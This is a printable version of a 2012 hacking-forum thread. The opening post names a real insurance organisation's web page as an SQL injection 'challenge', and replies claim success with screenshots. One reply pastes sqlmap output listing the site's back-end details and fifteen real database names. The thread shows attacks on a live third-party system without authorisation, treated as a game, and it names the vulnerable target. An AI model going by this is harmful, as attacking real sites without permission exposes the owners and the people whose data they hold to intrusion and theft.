[Semi-Easy] SQLi Challenge for beginners [Semi-Easy] - Printable Version

[Semi-Easy] SQLi Challenge for beginners [Semi-Easy] - Printable Version

+- Hack Forums (https://hackforums.net)
+-- Forum: Hacks, Exploits, and Various Discussions (https://hackforums.net/forumdisplay.php?fid=45)
+--- Forum: Grayhat • Purple Team • Hybrid Security (https://hackforums.net/forumdisplay.php?fid=449)
+---- Forum: Website Hacking (https://hackforums.net/forumdisplay.php?fid=43)
+----- Forum: SQL Injection Attacks (https://hackforums.net/forumdisplay.php?fid=103)
+----- Thread: [Semi-Easy] SQLi Challenge for beginners [Semi-Easy] (/showthread.php?tid=2803746)

Pages: Pages 1 2

[Semi-Easy] SQLi Challenge for beginners [Semi-Easy] - MeTTa28 - Aug 23, 2012

Hi,

Thought I'd provide you with a little challenge.

Target: http://www.ksinsurance.org/hbexplan/index.php?pgid=2

Task: Display version with your HF name and post proof SS and PM syntax.

Proof:
[Image: 6cWMT.jpg]

[Image: 6cWMT.jpg]

Solvers:
ajkaro
haczord
SHoTT

Note: I would like to thank cloudsemail as I got the target from his list.

* - ajkaro - Aug 23, 2012

Here it is

[img]http://www.anonmgur.com/up/048afa284c68f82393e15c17a69fec73.jpg[/img]

Thanks for challenge 🤝

* - MeTTa28 - Aug 23, 2012

First Solver, nice one.

Added to Solvers.

* - benzi - Aug 23, 2012

easy one,done.
[Image: P85ts.png]

[Image: P85ts.png]

* - haczord - Aug 23, 2012

done,here's the proof

[img]http://s7.postimage.org/v377u2r7v/Capture1.jpg[/img]

thanks for challenge

* - lokiji - Aug 23, 2012

done
[img]http://s9.postimage.org/lkhp1ldyn/image.jpg[/img]
cant send PMs:-/ i am new here and need more posts to be able to send PMs

* - ph3wl - Aug 23, 2012

Thanks for challenge!
[img]http://img1.UploadScreenshot.com/images/main/8/23507511712.png[/img]

* - mirkops - Aug 23, 2012

how we can doing this?? ...please someone could help us ...!!

* - bYT3R_ - Aug 23, 2012

Thanks for the challenge

[Image: BttzV.png]

[Image: BttzV.png]

* - p0pc0rn - Aug 23, 2012

[Image: BhmGt.png]

[Image: BhmGt.png]

here you go.
easy one.everyone should success on this

* - kickerbat - Aug 23, 2012

Done;

Code 
[02:40:46] [INFO] the back-end DBMS is MySQL

web server operating system: Windows

web application technology: PHP 5.3.5, Apache 2.2.17

back-end DBMS: MySQL 5.0

[02:40:46] [INFO] fetching database names

[02:40:47] [INFO] the SQL query used returns 15 entries

[02:40:48] [INFO] retrieved: information_schema

[02:40:49] [INFO] retrieved: as400files

[02:40:50] [INFO] retrieved: fra

[02:40:51] [INFO] retrieved: fra_bk_20110411

[02:40:52] [INFO] retrieved: hbex

[02:40:52] [INFO] retrieved: hrins

[02:40:53] [INFO] retrieved: kid

[02:40:54] [INFO] retrieved: lcm

[02:40:55] [INFO] retrieved: medsupp

[02:40:56] [INFO] retrieved: mysql

[02:40:57] [INFO] retrieved: recreq

[02:40:57] [INFO] retrieved: register

[02:40:58] [INFO] retrieved: storm

[02:40:59] [INFO] retrieved: surveys

[02:41:00] [INFO] retrieved: test

available databases [15]:

[*] as400files

[*] fra

[*] fra_bk_20110411

[*] hbex

[*] hrins

[*] information_schema

[*] kid

[*] lcm

[*] medsupp

[*] mysql

[*] recreq

[*] register

[*] storm

[*] surveys

[*] test

[02:41:00] [INFO] fetched data logged to text files under '/pentest/database/sqlmap/output/www.ksinsurance.org'

[*] shutting down at 02:41:00

* - Desmolicious - Aug 23, 2012

LOL.
I am a noob when it comes to SQL Injection o_o I can't even pull this challenge off XD

* - Sonic Boom - Aug 24, 2012

Very good challenge gonna PM you the syntax :)

Spoiler (Click to View)

* - AnonFbFb - Aug 24, 2012

[img]http://i.imm.io/BNcq.png[/img]

Thx again for challenge :D

* - SIM-487530 - Aug 24, 2012

done
[img]http://s9.postimage.org/k55vdnuan/image.jpg[/img]